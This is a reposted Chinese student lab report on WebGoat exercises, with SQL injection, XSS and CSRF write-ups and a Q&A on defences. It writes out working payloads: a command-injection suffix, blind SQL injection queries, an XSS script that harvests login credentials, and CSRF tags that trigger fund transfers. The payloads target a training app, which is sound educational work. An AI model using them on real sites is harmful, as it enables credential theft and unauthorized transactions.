日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

發(fā)布時間:2023/12/2 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

2018-2019-2 20165221 【網(wǎng)絡(luò)對抗技術(shù)】-- Exp9 Web安全基礎(chǔ)

目錄:

  • 一 . 實(shí)驗(yàn)要求

  • 二 . 實(shí)驗(yàn)過程記錄
    • 1 . Webgoat安裝
    • 2 . SQL注入的攻擊
      • 命令注入(Command Injection)
      • 數(shù)字型注入(Numeric SQL Injection)
      • 日志欺騙(Log Spoofing)
      • SQL 注入(LAB: SQL Injection)
      • 字符串注入(String SQL Injection)
      • 數(shù)據(jù)庫后門(Database Backdoors)
      • 數(shù)字型盲注入(Blind Numeric SQL Injection)
      • 字符串型盲注入(Blind String SQL Injection)
    • 3 . XSS攻擊
      • XSS 釣魚(Phishing with XSS)
      • 存儲型XSS攻擊(Stored XSS Attacks)
      • 反射型XSS攻擊(Reflected XSS Attacks)
    • 4 . CSRF攻擊
      • 跨站請求偽造(Cross Site Request Forgery (CSRF))
      • 繞過 CSRF 確認(rèn)( CSRF Prompt By‐Pass)
  • 三 . 實(shí)驗(yàn)基礎(chǔ)問題回答
  • 四 . 試驗(yàn)中遇到的問題
  • 五 . 實(shí)驗(yàn)總結(jié)與體會


一 . 實(shí)驗(yàn)要求

  • 本實(shí)踐的目標(biāo)理解常用網(wǎng)絡(luò)攻擊技術(shù)的基本原理,做不少于7個題目,共3.5分。包括(SQL,XSS,CSRF)。

二 . 實(shí)驗(yàn)過程記錄

1 . Webgoat的安裝

  • 因WebGoat默認(rèn)使用8080端口,所以開啟前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 進(jìn)程號終止占用8080端口的進(jìn)程。
  • 下載webgoat-container-7.0.1-war-exec.jar,再將其拷貝到虛擬機(jī)中
  • 普通安裝,命令行輸入java -jar webgoat-container-7.0.1-war-exec.jar
  • 瀏覽器轉(zhuǎn):localhost:8080/WebGoat
  • 直接用默認(rèn)用戶名密碼登錄即可,開始練習(xí)

2 . SQL的注入攻擊

1.Command Injection

  • 選擇 Injection Flaws -> Command Injection
  • 右鍵頁面中復(fù)選框,選擇inspect Element審查網(wǎng)頁元素對源代碼進(jìn)行修改,在末尾添加"& netstat -an & ipconfig"
  • 點(diǎn)擊 view,看到網(wǎng)絡(luò)端口使用情況和 IP 地址,攻擊成功

2.Numeric SQL Injection

  • 選擇 Injection Flaws -> Numeric SQL Injection
  • 右鍵頁面中復(fù)選框,選擇inspect Element審查網(wǎng)頁元素對源代碼value="101"進(jìn)行修改,在城市編號101后面添加or 1=1
  • 點(diǎn)擊Go,可以看到攻擊成功

    3.日志欺騙(Log Spoofing)

  • 通過在日志文件中插入腳本實(shí)現(xiàn)欺騙。在日志文件中愚弄人的眼睛,攻擊者可以利用這種方式清除他們在日志中的痕跡
  • 目標(biāo):灰色區(qū)域代表在 Web 服務(wù)器的日志中的記錄的內(nèi)容,我們的目的是使用戶名為“admin”的用戶在日志中顯示“成功登錄”

4.SQL 注入(LAB: SQL Injection)

  • 選擇 Injection Flaws -> String SQL Injection,右鍵頁面將password密碼框,選擇inspect Element審查網(wǎng)頁元素對源代碼進(jìn)行修改,將其最大長度限制改為20
  • 用該用戶信息進(jìn)行登錄,攻擊成功,并獲得賬戶信息的列表。

    5.字符串盲注入:Blind String SQL Injection

  • 前提是要知道pin值,這次查詢的是一個字符串而不是數(shù)值。
  • 輸入:
101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );
  • 將1換成2:
101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );
  • 最后使用二分法測試,最終得到PIN的字段為:Jill

3 . XSS的攻擊

1.XSS釣魚:

  • 編寫一個帶有用戶名的和密碼框的表格:
//腳本 </form> <script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);} </script> <form name="phish"> <br> <br> //表格 <HR><H2>This feature requires account login:</H2> <br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"> <br><input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
  • 我們在搜索到的表單中輸入用戶名和密碼,點(diǎn)擊登錄,WebGoat會將輸入的信息捕獲并反饋給我們。

2.存儲型XSS攻擊:Stored XSS Attacks

  • 這種攻擊常見于論壇等留言平臺,用戶留言的時候輸入一段JavaScript腳本,這段腳本就會被保存在數(shù)據(jù)庫中。因?yàn)槭橇粞?#xff0c;所以任何用戶在打開網(wǎng)頁的時候,這個腳本就會被從數(shù)據(jù)庫中取出來而運(yùn)行
  • 根據(jù)題目要求,在留言板中輸入<script>alert("You've been attacked!!!");</script>
  • 再次點(diǎn)擊剛剛創(chuàng)建的帖子,可以看到彈出窗口:

3.反射型XSS攻擊:Reflected XSS Attacks

  • 原理:在反射的XSS攻擊中,攻擊者可以使用攻擊腳本創(chuàng)建一個URL,并將其發(fā)布到另一個網(wǎng)站、通過電子郵件或其他方式讓受害者點(diǎn)擊它。
  • 目標(biāo):使用攻擊腳本創(chuàng)建URL,并將其寫入網(wǎng)站中,當(dāng)讀取到該URL的時候就會被攻擊
  • 具體操作:輸入代碼<script>alert("hhhhh You've been attacked!!!");</script>,點(diǎn)擊purse的同時頁面就給出了反饋:

    ---

4 . CSRF的攻擊

1.跨站請求偽造(Cross Site Request Forgery (CSRF))

  • 跨站請求偽造,盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點(diǎn)內(nèi)的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網(wǎng)站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進(jìn)行防范的資源也相當(dāng)稀少)和難以防范,所以被認(rèn)為比XSS更具危險性。

  • 查看頁面右側(cè)Parameters中的src和menu值,分別為267和900
    在title中輸入任何參數(shù),message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />,以圖片的的形式將URL放進(jìn)Message框。
  • 這時的URL對其他用戶是不可見的,用戶一旦點(diǎn)擊圖片,就會觸發(fā)一個CSRF事件,點(diǎn)擊Submit提交
  • 在Message List中生成以Title命名的消息。點(diǎn)擊該消息,當(dāng)前頁面就會下載這個消息并顯示出來,轉(zhuǎn)走用戶的5000元,從而達(dá)到CSRF攻擊的目的??梢詮淖髠?cè)的任務(wù)欄看到任務(wù)已完成。
  • 查看頁面下側(cè)Parameters中的src和menu值,命名title,message框中輸入代碼:
<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe><iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>



三 . 實(shí)驗(yàn)基礎(chǔ)問題回答

  • (1) SQL注入的原理是什么,如何進(jìn)行防御呢?

    • 原理:SQL注入攻擊指的是通過構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而這些輸入大都是SQL語法里的一些組合,通過執(zhí)行SQL語句進(jìn)而執(zhí)行攻擊者所要的操作,使非法數(shù)據(jù)侵入系統(tǒng)。
    • 防御手段:
      • 對用戶的輸入進(jìn)行校驗(yàn)。
        不要使用動態(tài)拼裝sql,可以使用參數(shù)化的sql- 或者直接使用存儲過程進(jìn)行數(shù)據(jù)查詢存取。
      • 不要使用管理員權(quán)限的數(shù)據(jù)庫連接,為每個- 應(yīng)用使用單獨(dú)的權(quán)限有限的數(shù)據(jù)庫連接。
      • 不要把機(jī)密信息直接存放,加密或者h(yuǎn)ash掉密碼和敏感的信息。
      • 應(yīng)用的異常信息應(yīng)該給出盡可能少的提示。
        采取輔助軟件或網(wǎng)站平臺來檢測sql注入。
  • (2) XSS攻擊的原理是什么,如何進(jìn)行防御呢?

    • 原理:XSS是一種經(jīng)常出現(xiàn)在web應(yīng)用中的計(jì)算機(jī)安全漏洞,它允許惡意web用戶將代碼(如,HTML代碼和客戶端腳本)植入到提供給其它用戶使用的頁面中,攻擊者可以利用XSS漏洞旁路掉訪問控制。
    • 防御手段:
      • 特征匹配方式,在所有提交的信息中都進(jìn)行匹配檢查,一般會對“javascript”這個關(guān)鍵字進(jìn)行檢索,一旦發(fā)現(xiàn)提交信息中包含“javascript”,就認(rèn)定為XSS攻擊。
      • 對所有用戶提交內(nèi)容進(jìn)行可靠的輸入驗(yàn)證,包括對URL、查詢關(guān)鍵字、HTTP頭、POST數(shù)據(jù)等,僅接受指定長度范圍內(nèi)、采用適當(dāng)格式、采用所預(yù)期的字符的內(nèi)容提交,對其他的一律過濾。
      • 實(shí)現(xiàn)Session標(biāo)記、CAPTCHA系統(tǒng)或者HTTP引用頭檢查,以防功能被第三方網(wǎng)站所執(zhí)行。
  • (3) CSRF攻擊原理是什么,如何進(jìn)行預(yù)防呢?
    • 原理:CSRF跨站請求偽造,也被稱為“oneclickattack”或者sessionriding,通常縮寫為CSRF或者XSRF,是一種對網(wǎng)站的惡意利用,通過偽裝來自受信任用戶的請求來利用受信任的網(wǎng)站。是一種依賴web瀏覽器的、被混淆過的代理人攻擊。
      防御手段:
      • 在form中包含秘密信息、用戶指定的代號作為cookie之外的驗(yàn)證。
      • “雙提交”cookie。某個授權(quán)的cookie在form post之前正被JavaScript代碼讀取,那么限制跨域規(guī)則將被應(yīng)用。服務(wù)器需要在Post請求體或者URL中包含授權(quán)cookie的請求,那么這個請求必須來自于受信任的域。
      • 用戶在瀏覽其它站點(diǎn)前登出站點(diǎn)或者在瀏覽器會話結(jié)束后清理瀏覽器的cookie。

五 . 實(shí)驗(yàn)總結(jié)與體會

  • 這是最后一次的實(shí)驗(yàn)了,這次實(shí)驗(yàn)在前期軟件的安裝上花費(fèi)了大量的時間,后面的照著操作就問題不大,主要是對攻擊概念的理解。

轉(zhuǎn)載于:https://www.cnblogs.com/0630tx/p/10922917.html

總結(jié)

以上是生活随笔為你收集整理的2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。